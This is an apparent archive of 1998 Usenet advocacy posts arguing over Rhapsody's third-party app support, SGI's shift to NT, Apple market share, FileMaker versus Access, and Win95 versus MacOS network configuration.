It would do you a lot of good to COMPLAIN more about this. Sure, it
doesn't seem like much, but if you've used anything better, like say the
NeXTSTEP interface, you might realize how much time you waste. Heck, even
Oberon is better in some ways.
>: For a good example of how all the above ought to work, use OpenTransport
>: in the MacOS.
>
>yeah right.
Excellent retort, how constructive.
--
Nathan Raymond
http://www.everythingmac.com
From: laranzu@spirit.com.au (Hugh Fisher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Wed, 29 Apr 1998 23:59:24 +1000
Organization: client service of Spirit Networks at http://www.spirit.net.au
Message-ID: <laranzu-2904982359240001@dd197.spirit.net.au>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net> <6hm81r$bc9$1@ha2.rdc1.sdca.home.com> <rmcassid-2304981210470001@dante.eng.uci.edu> <6hp6fb$oh3$5@ha2.rdc1.sdca.home.com> <rmcassid-2404981024090001@dante.eng.uci.edu> <6hrp9u$j3g$3@ha2.rdc1.sdca.home.com> <rmcassid-2704980939540001@dante.eng.uci.edu>
In article <rmcassid-2704980939540001@dante.eng.uci.edu>, rmcassid@uci.edu
wrote:
[ munch ]
> I'm confused. What apps are Apple selling? If Apple was to get SGI to port
> it's apps to Rhapsody, that gives developers a new market to write apps
> for. If SGI were to make high-end workstations running Rhapsody, that
> would likely give them considerable attention from the community as users
> could migrate nicely from cheap Apple hardware right up through SGI's
> stuff. That would effectively negate NTs attraction in that market. SGI
> would benefit by a lower cost of entry to their software (through Apple's
> cheap hardware) but might suffer in hardware sales. OTOH, they might
> benefit from all those people now willing to drop $10k on a fully decked
> out PowerMac, who might jump to SGI branded hardware instead. So long as
> the apps still run...
It's a very good idea, but too late alas. SGI have fallen to the
dark side.
SGI have announced that they are building Intel-based NT workstations
available 3rd quarter this year, and will be supporting Merced in the
future. MIPS, their processor design subsidiary, has been "spun off as
a separate company" ie thrown to the wolves, since the only reason SGI
bought MIPS in the first place was that MIPS as a stand alone business
was going broke.
So your argument about content creation tools, especially 3D, migrating
nicely from cheap hardware right up to SGI monsters will come to pass,
just with "NT" replacing "Rhapsody" :-(
Hugh
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Tue, 28 Apr 1998 10:54:43 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2804981054430001@chestnut1-55.slip.netaxs.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <3544E086.1C80@ultranet.ca>
Mail-Copies-To: jayfar@netaxs.com
In article <3544E086.1C80@ultranet.ca>, Alan_spamMeNot_Baker@ultranet.ca wrote:
| So exactly what real world are you talking about? The one where MS
| manages to port every part of Office to the Mac _except_ Access, thus
| freezing the Mac out of any company that wants to use an Access-based
| product.
|
| Gee, I wonder why they'd want to do that?
Conspiracy theorists might think Steve wanted it that way. Unless
there've been huge improvements since FMP 3 (I haven't tried FMP 4),
Access would bury Filemaker Pro, but fast.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: pomart@cartoon.ecn.purdue.edu (Your Name)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 28 Apr 1998 15:27:00 GMT
Organization: Purdue University
Message-ID: <6i4sg4$mb9@mozo.cc.purdue.edu>
References: <35458606.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
>http://www.news.com/News/Item/0,4,21540,00.html?st.ne.fd.gif.d
>IDC sez Apple's US marketshare went from 3.4% in Q497, to
>4.0% in Q198.
>Not much, but I'll take it...
>- Jon
NOT MUCH!? ARE YOU KIDDING ME? It's a 18% increase. It's quite
much to tell you the truth. At this rate Apple will be #1 in terms of market
share in a year or two!
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: 28 Apr 1998 10:49:10 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6i51a6$ao4$1@xmission.xmission.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <3544E086.1C80@ultranet.ca>
In comp.sys.next.advocacy Alan Baker <Alan_spamMeNot_Baker@ultranet.ca> wrote:
: > > People who want to run Lotus, Novell, and IBM products need Lotus,
: > > Novell, and IBM to support their platform. These people inhabit something
: If the previous poster means to imply that if you use a Mac that you
: cannot connect to Novell Netware servers or that you cannot use Lotus
: Notes I believe he/she is in error.
I use the NetWare client for Macs every day.
I know about the NetWare client for MacOS. I use it every day. That's not
what I was referring to.
The platform I was referring to is Rhapsody, not MacOS.
Specifically, I was lamenting the dearth of third-party support for
Rhapsody, not MacOS.
...............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Tue, 28 Apr 1998 09:58:03 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2804980958040001@sj-pm3-25-153.dialup.slip.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <3540ecbc.17801346@news.prosurfr.com> <gmgraves-2504981603110001@sf-usr1-55-183.dialup.slip.net> <3544fa80.24264662@news.prosurfr.com>
In article <3544fa80.24264662@news.prosurfr.com>,
jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard) wrote:
> gmgraves@slip.net (George Graves) wrote:
> >In article <3540ecbc.17801346@news.prosurfr.com>,
> >jsavard@teneerf.edmonton.ab.ca (John Savard) wrote:
> >> "Todd Heberlein" <todd@NetSQ.com> wrote:
>
> >> >o DVD, while providing better audio and video than VHS, is still
> >> >designed around PAL and NTSC output and does not support HDTV
> >> >formats.
>
> >> DVD does support the higher aspect ratio of HDTV and the format also
> >> allows higher speed disks with higher resolutions.
>
> >The STANDARD supports them, but no currently available players or
> >discs can output an HDTV signal.
>
> Which, (in the case of players) I suppose, is understandable, since
> you can't go and buy an HDTV reciever yet either. The point, of
> course, is that the Mac doesn't have the unique market opportunity
> suggested here. But I should have been clearer.
>
> Currently available disks don't have video on them at full HDTV
> resolution; however, many current disks can be viewed in letterbox
> mode, and these will look at least a little bit better on an HDTV set
> - future players that output HDTV signals will do so from whatever
> disk they are playing.
They are not just available for viewing in the letterbox mode, Many
titles are also on the disc in the wide scren format. This doesn't
mean letterboxed, this means, that if you watch this version on a
regular TV, you see a screen-filling image in which everything is
tall and skinny, I.E. horizontally squeezed. In film, its called
anamorphic. If you on one of the new 16:9 TVs, it has the circuitry
on-board to "unsqueeze" the picture. This results in a wide screen
presentation with little or no letterboxing (depending on the format
of the original film. Obviously in order to fit a film shot in something
like "Camera65" [Such as 'Ben-Hur'] with a 2.7:1 aspect ratio on a
16:9 aspect ratioed screen, some letterboxing will be inevitable, but
NOT the drastic 'ribboning' required to fit the same film onto a
standard 4:3 TV.).
>
> John Savard
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on SGI!
Date: Tue, 28 Apr 1998 12:02:45 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2804981202450001@130.130.117.53>
References: <6hj4s6$61q@news.nd.edu> <01bd6d64$7b8394e0$04387880@test1> <6hints$99c$1@ns3.vrx.net> <6hjkpg$cc$3@ha2.rdc1.sdca.home.com> <6hk9r4$ga7$1@ns3.vrx.net> <6hl31j$8an$1@ha2.rdc1.sdca.home.com> <6hklh0$oit$1@ns3.vrx.net> <6i4kss$bm2$1@wopr.wolfram.com>
Mail-Copies-To: never
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In article <6i4kss$bm2$1@wopr.wolfram.com>, sandrock@wopr.wolfram.com
(Mark Sandrock) wrote:
:maury@remove_this.istar.ca (Maury Markowitz) writes:
:
:>> Obviously SGI customers clearly are NOT Apple customers.
:
:> Oh, I couldn't disagree more! I don't know about you, but most SGI shops I
:>visit have SGI's and mostly Macs, Not SGI and nothing, or SGI and mostly PC's
:>(this may be changing).
:
:> Arts, graphics, web content. These are all markets Apple is in, and ones
:>SGI is in. Yes SGI is also into the 3D market, but that doesn't seem to be
:>large enough alone to keep it's current size against more generalist
:>machines. Access to Apple's desktop apps could fix this.
:
:I've been gone a year now, but a lot of the research groups in the
:chem and biochem depts. at a nearby major university were mostly
:using Macs and SGIs.
:
:Mark
Some how this SGI thread reminds me of what Dan'l Lewin(?) said at NeXT in
regard to replacing the Sun and Mac on a dual platform person's desk. It
was something to the effect of "after those 5 people who are we going to
sell to?" I do find it amusing that there are exactly 5 people in IS here
who have both Suns and Macs on their desks. Plus me who has a Mac and a
NeXTstation.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 11:33:45 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6i53tp$jsd$1@xmission.xmission.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167> <6i1ghg$1kn$2@ns3.vrx.net>
In comp.sys.next.advocacy Maury Markowitz <maury@remove_this.istar.ca> wrote:
: > > Rhapsody currently has the support of exactly zero first-tier
: > > industry partners.
: OpenDoc has the support of exactly zero first-tier industry partners. Once
: again I'm left searching for any real difference.
: I'll tell you one difference, _I'm_ supporting OpenStep. And as it turns
: out, I'm pretty ok at it too. If they don't want to support it fine, I have
: no such problems.
I'm happy that you are supporting OPENSTEP. Having an AFS client on
Rhapsody is a good thing. (At least I think I know your employer.)
However, I am wondering exactly why you and others are willing to gloss
over the lack of third-party support for Rhapsody with statements like
yours. Do you not want Rhapsody to expand its reach to new users? I find
that difficult to believe, but your statements and those of others lead
me to the conclusion that that might indeed be the case.
I have been vocal about the issue of third-party support for one
philosophical reason: I believe in expanding the reach of the platform so
that the platform will succeed in the market.
I have been vocal about this issue for a more selfish reason: I want
Frame+SGML and an NDS client for Rhapsody, so I can stop using this
godforsaken cartoon operating system that is Win32 and go back to my
all-time favorite OS in its latest incarnation.
I could launch into a lengthy discussion about software economics, but you
all know the bottom line--more third-party support means more platform
viability. So why not bring more kids into the playpen?
.............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Tue, 28 Apr 1998 12:27:43 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2804981227430001@130.130.117.53>
References: <hi-2808562103540001@1cust166.tnt8.krk1.da.uu.net> <B16983BC-31232@206.165.43.144> <critic-2804980001550001@p14-max41.auck.ihug.co.nz> <see-below-2804980252010001@209.24.240.56>
Mail-Copies-To: never
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In article <see-below-2804980252010001@209.24.240.56>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
:Didn't somebody put together a hardware solution that could display the
:colors on an external monitor? Anyways, I seem to remember something like
:that from the year or so before the Mac II shipeed.
I think so but I can't remember who it was either. I remember that the
Lapis SCSI based video system would support 8 colors on a Plus or SE on
the Apple 13" color screen but that was released after the Mac II. I can't
remember whether the Novy/Gemeni/TSI accelerators with the video option
supported color but they might have as well.
Certainly there were several programs that supported the 3 bit color that
was availible on the Imagewriter II long before there were any monitors
that were color. In regards to the previous stuff about system 6 and color
support; system 6.0.8 had support for 32 bit quickdraw. Because the
extension was on the the printer install disk most people never noticed
it. It did work on the daystar upgraded 50mhz dual 19" screen Mac II that
I was using in early 90. I remember how exciting it was to be able to see
non dithered colors in the apps that supported it.
There was even an extension to use true type fonts in system 6.0.8. There
were many improvements in System 7 but because it went so far behind
shchedule some of them made it into the system software before System 7
actually got released.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo B
Date: Tue, 28 Apr 98 13:40:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EE0334.09B6006D75.uuout@relaynet.org>
On 04/28/98, JAYFAR <jayfar@netaxs.com> wrote:
| So exactly what real world are you talking about? The one where MS
| manages to port every part of Office to the Mac _except_ Access, thus
| freezing the Mac out of any company that wants to use an Access-based
| product.
|
| Gee, I wonder why they'd want to do that?
J> Conspiracy theorists might think Steve wanted it that way.
J> Unless there've been huge improvements since FMP 3 (I haven't
J> tried FMP 4), Access would bury Filemaker Pro, but fast.
Given that FileMaker Pro is said to be the best-selling database for Windows,
I doubt that.
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 18:18:05 GMT
Organization: MiscKit Development
Message-ID: <6i56gt$8bb$1@news.xmission.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167> <6i1ghg$1kn$2@ns3.vrx.net> <6i53tp$jsd$1@xmission.xmission.com>
Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote:
> [...] I am wondering exactly why you and others are willing to gloss
> over the lack of third-party support for Rhapsody with statements like
> yours.
> [...].
> I have been vocal about this issue for a more selfish reason: I want
> Frame+SGML and an NDS client for Rhapsody, so I can stop using this
> godforsaken cartoon operating system that is Win32 and go back to my
> all-time favorite OS in its latest incarnation.
Yep: in the real world, sometimes software availability forces a person to
chose a solution which is less technically adept. The person thus forced may
not be happy with the situation, but there are realities beyond technical
superiority which affect the platform choice. Unfortunately too many
advocates seem to forget or trivialize this this fact.
> I could launch into a lengthy discussion about software economics, but you
> all know the bottom line--more third-party support means more platform
> viability. So why not bring more kids into the playpen?
Let me expand, just in clase this isn't clear: the longer you ignore a
problem the longer it will take for it to go away. If you continually gloss
over it and say that it is unimportant, no progress is ever made because the
people that could fix it are lulled into thinking you don't care. After all,
why spend money fixing something that is unimportant? The cliche "the
squeaky wheel gets the grease" is very true.
So, while I prefer to use the apps that exist for OPENSTEP and Rhapsody over
the brand-name counterparts:
Third party app support for Rhapsody _is_ a problem, and it needs to be
confronted. Sure, we can spout rationalizations all day long to excuse
it--but when the final totals are added up, us Rhapsody advocates will be the
losers! We _need_ those apps, and we need to start banging on the vendors
NOW so that the apps will be there when they are needed.
Consider this: even if the smaller, existing Rhapsody vendors have better
products than MS Office and the other "standards" out there, it won't matter
AT ALL to the corporations Apple wants to sell Rhapsody to. For them, MS
Office is a line item. "Mesa can read/write Excel files" won't cut it. The
business users will say, "yes, but that's NOT Excel. Next!" You have to be
able to say, "we have Excel, if you really want that. We have better, too."
Without the well known brands, Rhapsody is a non-player, right out of the
gate. Office may suck, but without it, Rhapsody is gonna get ignored. Now,
once Rhapsody is in the door, it may well be the Mesas and PasteUps that the
corporations buy, because/if they are better, but if Office isn't available
during the initial evaluation phase you'll never get that far.
So we need the big app vendors, even if none of us actually plans to buy
their apps!
This is also ignoring retraining costs...once an investment has been made in
say, Photoshop, who is going to want to retrain their artists to use TIFFany?
Very few. They want Photoshop and they'll buy a platform that supports it.
If Rhapsody doesn't get a Photoshop port, then it loses out. It doesn't
matter if TIFFany is twenty times better. Photoshop has to be there first.
Users may switch to TIFFany later, once they realize its power. But you have
to get that foot in the door first, and that means finding ways to gradually
ease the transition; too much retraining at once will cause Rhapsody to be
summarily (and perhaps unfairly) ruled out. But unfair or not, it still
lost...
So, to phrase this yet another way: I don't plan to buy or use MS Office if
I can avoid it. I'm going to bug Microsoft to port it anyway, though,
because if it exists, it will help me sell a client on using Rhapsody. Once
I get Rhapsody on their desktop, then I can say, oh, and by the way, if
Office isn't cutting it for you, why not try...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Tue, 28 Apr 1998 13:02:35 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2804981302360001@130.130.117.53>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca> <3544a6b7.0@news.together.net>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <3544a6b7.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
:No need for this with WIN95. You got it, *no* mouse clicks and *no* IP
:numbers to enter. When do you think the Mac'll catch up? Oooops, I forgot,
:it's Rhapsody... isn't it... or maybe the lavender box. Anyway, it's coming
:real soon now. BTW, would you care to explain what a "search domain" is?
And if you want to use BootP DCHP MACIP or RARP on the mac it works like
that as well. Many people have actual domains that they permanently a part
of and require that the machine have a unique asigned address and that the
machine know what the domain it is in so that you can use addresses like
someotherhost instead of someotherhost.mydomain.com. That is called the
search domain.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Tue, 28 Apr 1998 13:11:51 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2804981311510001@130.130.117.53>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <joe.ragosta-2604981803240001@elk77.dol.net> <3543f188.0@news.together.net> <joe.ragosta-2704980607100001@elk45.dol.net> <6i2fll$j0c$3@nntp2.ba.best.com>
Mail-Copies-To: never
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In article <6i2fll$j0c$3@nntp2.ba.best.com>, mr_boxster@nospam_yahoo.com
(MR_boxster) wrote:
:or use a control strip tcp/changer
:which will give you
:1) control strip
:2) select tcp/icp
:3) Go to OTT/PPP or FreePP and choose config3)
:4) Get Config
:5) Select Config
:6) Dial
Go to Location Manager control strip choose the location you want. Click
ok when it says it has switched to those settings. If it is just switching
TCP/IP settings it takes about 1 second on my office mac and switches
faster than I can move to the OK box on my home mac. I wish it would
switch without bringing up the stupid dialog saying that it has switched
but it still takes less than five seconds to do from the time I start
moving the mouse to the control strip until the time that the change is
complete. Of course this software will also switch what time zone you are
in and whether file sharing is turned on what printer is selected and many
other things if you want it too, but I just use the network switching
feature for switching between my office lan and my ISP account through a
modem.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 13:37:33 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i4m2t$geq$1@ns3.vrx.net>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167>
<6i1ghg$1kn$2@ns3.vrx.net> <6i53tp$jsd$1@xmission.xmission.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: kris@xmission.xmission.com
In <6i53tp$jsd$1@xmission.xmission.com> Kristofer Jon Magnusson claimed:
> However, I am wondering exactly why you and others are willing to gloss
> over the lack of third-party support for Rhapsody with statements like
> yours.
I am a 3rd party. What lack?
> Do you not want Rhapsody to expand its reach to new users?
Of course, that's why we're writing an app that doesn't exist on the Mac
now, and exists in iccy form on the PC.
Maury
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 28 Apr 1998 18:56:33 GMT
Message-ID: <6i58p1$g4g$1@newsfep4.sprintmail.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: pomart@cartoon.ecn.purdue.edu
> >IDC sez Apple's US marketshare went from 3.4% in Q497, to
> >4.0% in Q198.
>
> >Not much, but I'll take it...
,
> NOT MUCH!? ARE YOU KIDDING ME? It's a 18% increase. It's quite
> much to tell you the truth. At this rate Apple will be #1 in terms of
market
> share in a year or two!
Uh huh. In q4 96, as the article states, apple's us market share was %6.
Now Its
%4. . And that %6 was with a thriving clone market.
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
NeXTMail and MIME OK!
From: scholl@joxer.acsu.buffalo.edu (Edward P Scholl)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 28 Apr 1998 14:47:59 -0400
Organization: University at Buffalo
Message-ID: <6i588v$o1f$1@joxer.acsu.buffalo.edu>
References: <35433ec7.0@news.together.net> <6i2nmi$k8i$1@new-news.cc.brandeis.edu> <6i3fc7$cj3$1@hercules.acsu.buffalo.edu> <6i4mq0$ec6$1@new-news.cc.brandeis.edu>
NNTP-Posting-User: scholl
Nathan G. Raymond (xray@cs.brandeis.edu) wrote:
: In article <6i3fc7$cj3$1@hercules.acsu.buffalo.edu> scholl@hercules.acsu.buffalo.edu (Edward P Scholl) writes:
: Direct Memory Access, Interupt Request, yeah, and? You don't know WHY
: these are necessary? Please look into the specs on ISA sometime.
sure i know why you need them. why should i look up the spec? you're the
one who *asked* why you needed them on a pc. i'm not sure if any device
in windows actually *requires* dma (at least not on my machine). and seeing
as how macs also have irq's, i'm pretty damn sure it's not an isa issue.
: >: b) Cluttered interface - if a user actually wants to change a setting, or
: >: add a network protocol/adapter/client, they are in for some fun.
: >: Powerful interface, yes, sensical, far from it... I won't even get into
: >: this.
: >
: >not sensical to add a network protocol? lets see, if memory serves me right,
: >you open up the network control panel, click "add", click "protocol". if
: >that doesn't make sense to you...
: Protocol's devices and clients are in the SAME LIST. Listen, if you LIKE
in the same list how so? i don't have a win95 machine in front of me now,
but don't you click on network, add, then choose either protocol, devices,
clients, or whatever else you need to add, then it pops up another list?
: this, if you think this is CLEAR, by all means USE WINDOWS. The fact that
that is pretty damn clear... and i do use windows, 95 and nt, thank you,
along with macOS, irix, sunOS, and linux.
: there is SO MUCH software out there that has totally non-sensical
: interfaces is because PEOPLE DON'T demand higher. It's because of people
: like you, multiplied millions of times over, that we are in the quandry we
: are today. Software design is really a service industry, but its treated
what quandry are we in? that people like you think to add a network protocol
by clicking on network, add, protocol is non-sensical? in that case, yep.
: >uhhh, last i knew, ip addresses on mac's couldn't be dynamically changed.
: >might be different now. they can be on win95.
: Open Transport is a streams based architecture (NOT sockets), please look
: up the differences and educate yourself. Open Transport runs on Mac OS
i'm quite educated, thank you. admittedly, i don't know everything about
networking. but i do know when what someone spouts out doesn't match with
personal experience.
: 7.5.x through 8.1 on M680030, 040, PPC601, 603, 604, 750. System versions
: previous to 7.6 could still use classic networking and MacTCP, a sockets
: based protocol which required a restart like Windows.
yeah... so you're saying you can dynamically change ips and other info
on opentransport? that's cool if it's true. and from personal experience,
mactcp didn't work too good on anything past 7.5.1.
: >: e) Have to click the "OK" button in the Network control panel in order for
: >: ANY changes you just made to any client, protocol, or interface to be
: >: saved, if you click in the close button in the top of the Network control
: >: panel it CLOSES WITHOUT SAVING, and doesn't ask you. A good tip off you
: >: did this is if you notice you don't have to restart.
: >
: >gee. imagine that. if you have such a problem with that, try the "return"
: >key instead.
: I'M NOT COMPLAINING THAT I DON'T KNOW HOW TO DO IT. You, and the rest of
: the unwashed masses, are stewing in your own juices as long as you
: continue to put up with this brain dead lack of common interface sense.
: It would do you a lot of good to COMPLAIN more about this. Sure, it
complain about what?!!? when the settings are what i want, i click ok.
when they are not what i want, and i want to exit, i click cancel. it's
just a difference in the way the 2 systems work. i think this is your
weakest argument, and you are so adament about it!
: >: For a good example of how all the above ought to work, use OpenTransport
: >: in the MacOS.
: >
: >yeah right.
: Excellent retort, how constructive.
yeah, i suppose it's not as constructive as referring to people as "the
unwashed masses". but as far as your suggestion, i've used open transport
many times. i simply disagree as to how good of an implementation it was.
but you can take it as you will.
-ed
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 18:37:36 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6i57lg$dng@nrtphc11.bnr.ca>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <8EE022E.09B6006D6A.uuout@relaynet.org> <jayfar-2804981054430001@chestnut1-55.slip.netaxs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <jayfar-2804981054430001@chestnut1-55.slip.netaxs.com> Jayfar,
jayfar@netaxs.com writes:
>
>Conspiracy theorists might think Steve wanted it that way. Unless
>there've been huge improvements since FMP 3 (I haven't tried FMP 4),
>Access would bury Filemaker Pro, but fast.
Strange opinion.
FIlemaker Pro sells like hotcakes on Windows today.
If you wish to make a fast, effective, moderately scalable database, with
client-server and/or internet access, Filemaker will do the job much more
quickly and easily than Access could ever hope to do.
Many professional outfits write corporate database systems using
Filemaker.
Matthew Cromer matthew_cromer@iname.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 12:30:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16B7C3B-18975@206.165.43.14>
References: <6i461i$bll$18@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
> In <B16A6E9E-90363@206.165.43.16> "Lawson English" wrote:
> > When someone says something this directly in public, claiming that they
> > were directly involved, I tend to believe them. He's setting himself up
for
> > all sorts of legal action if he's lying.
> >
> So how come you never believe anything Mike Paquette tells you?
Because I'm not always sure that he and I are talking about the same thing.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 28 Apr 1998 12:40:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16B7E73-20EF1@206.165.43.14>
References: <6i56gt$8bb$1@news.xmission.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Don Yacktman <don@misckit.com> said:
[lack of 3rd-party (famous 3rd-party) software in Rhaposdy]
> So, to phrase this yet another way: I don't plan to buy or use MS Office
if
> I can avoid it. I'm going to bug Microsoft to port it anyway, though,
> because if it exists, it will help me sell a client on using Rhapsody.
Once
> I get Rhapsody on their desktop, then I can say, oh, and by the way, if
> Office isn't cutting it for you, why not try...
I know that you guys hate the words "Ellen Hancock," but it is interesting
that at one point they planned on addressing ALL the issues about 3rd-party
support by creating a Yellow Box API to allow for OpenDoc parts to work
with both Rhapsody/Yellow Box AND MacOS Sytem 7.x. This was her idea, I
believe.
Think about it for a little while before you flame:
lots of applications ARE suitable for use with the component paradigm. If
Rhapsody/YB had a component architecture so that a YB developer could
create an OpenDoc-compatible part, as well as a Rhapsody-compatible
version, this would have been the ideal:
allows MacOS developers to continue to support MacOS, as well as
YB/Rhapsody.
That's a part of the equation that most people are missing:
As it stands, providing YB support means that one forsakes 1/2 of ALL
current MacOS users.
And yes, they DO continue to purchase new software. Probably as much as the
new users, if not more, since the older systems often didn't come bundled
with the latest version of Claris, QUicken, etc.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Tue, 28 Apr 1998 16:04:34 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu>
Mail-Copies-To: jayfar@netaxs.com
